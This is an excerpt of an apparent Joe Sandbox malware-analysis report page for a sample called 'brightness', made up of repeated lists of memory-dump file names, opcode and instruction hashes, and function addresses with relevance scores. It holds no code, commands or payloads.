Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID: N@
API String ID: 0-1509896676
Opcode ID: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
Instruction ID: 504a973a3cffb148572304720bf84a759896f52292ccc4cc160e2fb4f06bd3b9
Opcode Fuzzy Hash: 92e9a144b7047ce14b539b05f6d9118c1a7fbc1d7368d7adfc1bc9e5646efcc8
Instruction Fuzzy Hash: 1961687190031ACFCB18CF48C4946AAFBF2BF84354F5AC1AED9095B361D7B19965CB80

Function 002DAE80 Relevance: .4, Instructions: 370COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31558104a317b0c24d7d5327b84cbf52693d656ac7f0eb4bfecfa78fb2be7474
Instruction ID: 9dddd5043a3fe704075dac5ca86ad5a91dc9f09f07a9d00d20e03d75c93d9e42
Opcode Fuzzy Hash: 31558104a317b0c24d7d5327b84cbf52693d656ac7f0eb4bfecfa78fb2be7474
Instruction Fuzzy Hash: 4EF18C71D1111DDBDF18CF9DD8919EEBBB2BF88308F248259D426B7345C630AA12CB98

Function 002E5814 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: a1252192e4740b19c6c0f61954163643a03659f69a05b67efdf68d8dffc9f43b
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: 97C19573DBB9F3458B354A2F046823EEEA26E81B4836FC395DCD03F289C6126D2595D0

Function 002E542C Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 5c6c3f029411acfab831c8758b132884310606a16aba4a844c242958890741b4
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 01C18473DBB9F34587354E2E041823FEEA26E91B493AF8395DCD03F289C6226D2595D0

Function 002E505A Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: e4f77713408535d0497de0180f340cfbd4ee3788508cfea5b56011195672c729
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 50C17233DBB9F30587354A2E446823FEEA16E81B4936F8395DCD03F289C6266D2595D0

Function 002E4CBC Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: d6e981f6121104d999c6e9d77a69dcfb7190cfcf2652fe0baf9abf9b764f8134
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: 6DB19533DAB4F30587354A2F442823BEEA26E81B4536FC395DCD03F289C6266D2595D0

Function 002DAED9 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9616ce662cd67d5e7a25f75f22f646e532e03bafe99c2c4478e0c7084aee4a7f
Instruction ID: e6d51a5c2419a21527e4e0c57238cc2f41a0b247decbf694aa05b54dc0ccb1ff
